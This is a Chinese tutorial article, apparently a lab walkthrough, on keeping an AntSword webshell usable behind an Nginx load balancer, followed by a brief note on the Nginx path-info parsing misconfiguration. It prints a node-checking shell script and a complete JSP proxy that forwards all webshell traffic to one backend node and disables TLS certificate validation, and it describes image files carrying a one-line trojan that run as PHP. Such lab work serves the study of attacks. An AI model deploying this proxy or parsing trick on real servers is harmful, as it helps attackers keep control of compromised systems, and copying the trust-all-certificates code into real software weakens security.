当前位置: 代码网 > 服务器>服务器>Nginx > 负载均衡下的webshell上传+nginx解析漏洞的过程

负载均衡下的webshell上传+nginx解析漏洞的过程

2024年05月18日 Nginx 我要评论
负载均衡下的webshell上传一,负载均衡下webshell上传的四大难点难点一:需要在每一台节点的相同位置上传相同内容的webshell 我们需要在每一台节点的相同位置都上传相同内容的 websh

负载均衡下的webshell上传

一,负载均衡下webshell上传的四大难点

难点一:需要在每一台节点的相同位置上传相同内容的webshell 我们需要在每一台节点的相同位置都上传相同内容的 webshell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。是的,这就是你出现一会儿正常,一会儿错误的原因。

难点二:无法预测下一次请求是哪一台机器去执行 我们在执行命令时,无法知道下次的请求交给哪台机器去执行。我们执行 hostname -i查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。

难点三:当我们需要上传一些工具时,麻烦来了: 由于 antsword 上传文件时,采用的分片上传方式,把一个文件分成了多次http请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 lbs 算法

难点四:由于目标机器不能出外网 由于目标机器不能出外网,想进一步深入,只能使用 regeorg/httpabs 等 http tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

二、环境搭建

漏洞复现:
我们假定在真实的业务系统上,存在一个 rce 漏洞,可以让我们获取 webshell。

环境搭建(下载地址:https://github.com/antswordproject/antsword-labs) 

将下载的环境上传虚拟机后解压

──(root?kali)-[~/ant/loadbalance/loadbalance-jsp]
└─# chmod +x /usr/bin/docker-compose 
为文件赋予执行权限

┌──(root㉿kali)-[~/ant/loadbalance/loadbalance-jsp]
└─# docker-compose up -d

连接蚁剑

查看ip,发现一直进行漂移

解决方法

1、关机或者停服

首先在测试阶段,我们可以关闭一台服务器,只保留一台机器,因为健康检查机制的存在,很快其它的节点就会被 nginx 从池子里踢出去,那么妥妥的就能继续了。 但在真实项目中,是不允许的,会严重影响业务。

2、执行前先判断ip;要不要执行;

执行前先判断ip;要不要执行;

myip=`ifconfig | grep "inet 172" | awk '{print $2}'`
if [$myip == "172.19.0.2" ]; then
 	echo "node1. i will execute command.\n=======\n"
 	ifconfig
 else
 	echo "other. try again."
 fi

由于该docker环境中无ifconfig命令,需要更新

root@ae64558c1d47:/usr/local/tomcat# apt-get  intstall net-tools
将脚本上传后,访问如果是0.2ip地址,就执行脚本

3、在web 层做一次 http 流量转发

脚本内容

<%@ page contenttype="text/html;charset=utf-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.bytearrayoutputstream" %>
<%@ page import="java.io.datainputstream" %>
<%@ page import="java.io.inputstream" %>
<%@ page import="java.io.outputstream" %>
<%@ page import="java.net.httpurlconnection" %>
<%@ page import="java.net.url" %>
<%@ page import="java.security.keymanagementexception" %>
<%@ page import="java.security.nosuchalgorithmexception" %>
<%@ page import="java.security.cert.certificateexception" %>
<%@ page import="java.security.cert.x509certificate" %>
<%!
  public static void ignoressl() throws exception {
        hostnameverifier hv = new hostnameverifier() {
            public boolean verify(string urlhostname, sslsession session) {
                return true;
            }
        };
        trustallhttpscertificates();
        httpsurlconnection.setdefaulthostnameverifier(hv);
    }
    private static void trustallhttpscertificates() throws exception {
        trustmanager[] trustallcerts = new trustmanager[] { new x509trustmanager() {
            public x509certificate[] getacceptedissuers() {
                return null;
            }
            @override
            public void checkclienttrusted(x509certificate[] arg0, string arg1) throws certificateexception {
                // not implemented
            }
            @override
            public void checkservertrusted(x509certificate[] arg0, string arg1) throws certificateexception {
                // not implemented
            }
        } };
        try {
            sslcontext sc = sslcontext.getinstance("tls");
            sc.init(null, trustallcerts, new java.security.securerandom());
            httpsurlconnection.setdefaultsslsocketfactory(sc.getsocketfactory());
        } catch (keymanagementexception e) {
            e.printstacktrace();
        } catch (nosuchalgorithmexception e) {
            e.printstacktrace();
        }
    }
%>
<%
        string target = "http://172.19.0.2:8080/ant.jsp";
        url url = new url(target);
        if ("https".equalsignorecase(url.getprotocol())) {
            ignoressl();
        }
        httpurlconnection conn = (httpurlconnection)url.openconnection();
        stringbuilder sb = new stringbuilder();
        conn.setrequestmethod(request.getmethod());
        conn.setconnecttimeout(30000);
        conn.setdooutput(true);
        conn.setdoinput(true);
        conn.setinstancefollowredirects(false);
        conn.connect();
        bytearrayoutputstream baos=new bytearrayoutputstream();
        outputstream out2 = conn.getoutputstream();
        datainputstream in=new datainputstream(request.getinputstream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeto(out2);
        baos.close();
        inputstream inputstream = conn.getinputstream();
        outputstream out3=response.getoutputstream();
        int len2 = 0;
        while ((len2 = inputstream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

访问后就一直是0.2地址

nginx解析漏洞

该漏洞与nginx、php版本无关,属于用户配置不当造成的解漏洞。
直接执行 docker compose up-d 启动容器,无需编译。
正常访问

在url后加一个不存在的文件名.php,会出现以下页面

这是因为该文件中的配置文件安全后缀名为空已及将cgi.fig_pathinfo设置为cgi.fig_pathinfo=0

当访问一个不存在的文件名时,会自动将上一级目录寻找文件按照php形式解析,而图片中含有一句话木马,所以出现上述页面

到此这篇关于负载均衡下的webshell上传+nginx解析漏洞的文章就介绍到这了,更多相关nginx解析漏洞内容请搜索代码网以前的文章或继续浏览下面的相关文章希望大家以后多多支持代码网!

(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com